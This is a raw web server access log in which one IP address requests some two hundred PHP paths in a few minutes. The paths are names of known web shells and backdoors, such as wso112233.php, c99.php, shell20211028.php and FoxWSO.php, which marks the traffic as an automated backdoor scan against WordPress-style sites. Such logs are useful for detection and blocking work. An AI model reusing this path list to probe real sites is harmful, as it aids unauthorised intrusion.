45.133.172.80 - - [23/Sep/2025:11:15:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:11:15:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:11:15:33 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:35 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:44 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:50 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:59 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:07 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:13 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:21 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:38 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:40 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:42 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:47 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:49 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/themes/jaida/lang.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:18 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:20 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:31 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:34 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:40 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:53 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:56 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:00 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:05 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:21 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:25 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:25 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:28 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-"
18.170.29.93 - - [23/Sep/2025:11:15:32 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:11:15:32 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:11:15:37 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:41 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:47 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:53 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:56 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:02 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:09 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:17 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:24 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:28 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:31 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:35 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:44 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:50 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/plugins/root-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/plugins/ph-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:56 -0400] "GET /.well-known/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:59 -0400] "GET /wp-ver.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:07 -0400] "GET /wp-admin/js/widgets/users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:19 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:23 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:25 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:27 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/themes/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-content/uploads/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:53 -0400] "GET /wp-includes/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:57 -0400] "GET /wp-admin/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:16:59 -0400] "GET /wp-content/plugins/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:02 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:04 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:13 -0400] "GET /wp-admin/user/users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:18 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:28 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:28 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:30 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:30 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:38 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:38 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:45 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:53 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:54 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:56 -0400] "GET /.well-known/pkivalidation/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:59 -0400] "GET /wp-content/uploads/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:59 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:01 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:14 -0400] "GET /wp-content/plugins/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:20 -0400] "GET /wp-content/themes/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:27 -0400] "GET /.well-known/acme-challenge/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:31 -0400] "GET /wp-content/plugins/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:31 -0400] "GET /wp-includes/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:34 -0400] "GET /wp-admin/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:37 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:41 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:46 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:55 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:00 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:06 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:09 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:13 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:20 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:30 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:30 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:33 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:38 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:38 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:43 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:43 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:43 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:49 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:49 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:53 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:53 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:58 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:17:59 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:05 -0400] "GET /wp-content/themes/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:05 -0400] "GET /.well-known/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:08 -0400] "GET /.well-knownold/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:10 -0400] "GET /.well-known/acme-challenge/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:12 -0400] "GET /.well-known/pkivalidation/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:15 -0400] "GET /wp-content/uploads/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:15 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:17 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:20 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:23 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:25 -0400] "GET /.well-knownold/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:30 -0400] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:31 -0400] "GET /wp-content/uploads/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:31 -0400] "GET /wp-content/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:37 -0400] "GET /wp-content/themes/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:37 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:41 -0400] "GET /IndoSec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:48 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:18:52 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:17 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:27 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:43 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:32 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:33 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:40 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:44 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:45 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:47 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:50 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:52 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:53 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:58 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:01 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:02 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:03 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:04 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:10 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:14 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:15 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:16 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:21 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:25 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:27 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:28 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:31 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:32 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:33 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:36 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:37 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:38 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:39 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:43 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:47 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:48 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:49 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:52 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:55 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:56 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:00 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:01 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:02 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:04 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:05 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:06 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:11 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:16 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:17 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:18 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:19 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:20 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:22 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:24 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:30 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:19:35 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:05 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:29 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:35 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:37 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:43 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:55 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:20:57 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:06 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:08 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:09 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:13 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:18 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:19 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:20 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:22 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:24 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:26 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:29 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:30 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:34 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:35 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:41 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:42 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:44 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:45 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:51 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:53 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:54 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:57 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:21:59 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:03 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:07 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:08 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:09 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:12 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:13 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:14 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:15 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:21 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:23 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:24 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:27 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:29 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:33 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:34 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:37 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:37 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:39 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:40 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:41 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-"
